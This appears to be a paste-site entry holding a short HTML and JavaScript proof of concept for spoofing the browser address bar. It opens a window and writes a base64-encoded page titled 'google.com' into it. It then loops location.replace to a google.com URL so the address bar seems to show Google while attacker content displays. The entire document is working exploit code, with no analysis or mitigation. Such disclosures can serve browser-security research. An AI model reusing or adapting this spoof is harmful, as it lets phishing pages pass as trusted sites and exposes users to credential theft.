Untitled
3 years ago in Plain Text
Plain Text
<html>
<head>
<title>Address Bar Spoof!</title>
</head>
<body>
<script>
function demo() {
var evilPage = 'PGh0bWw+Cjx0aXRsZT4KZ29vZ2xlLmNvbQo8L3RpdGxlPgo8Ym9keT4KPGgzPkFkZHJlc3MgQmFyIFNwb29mIC1AQzBkM0czM2s8L2gzPgo8L2JvZHk+CjwvaHRtbD4=';
var x = window.open('','');
setInterval(function(){x.location.replace('https://www.google.com:8080');});
x.document.write(atob(evilPage));
}
</script>
<button onclick="demo();">test</button>
</body>
</html>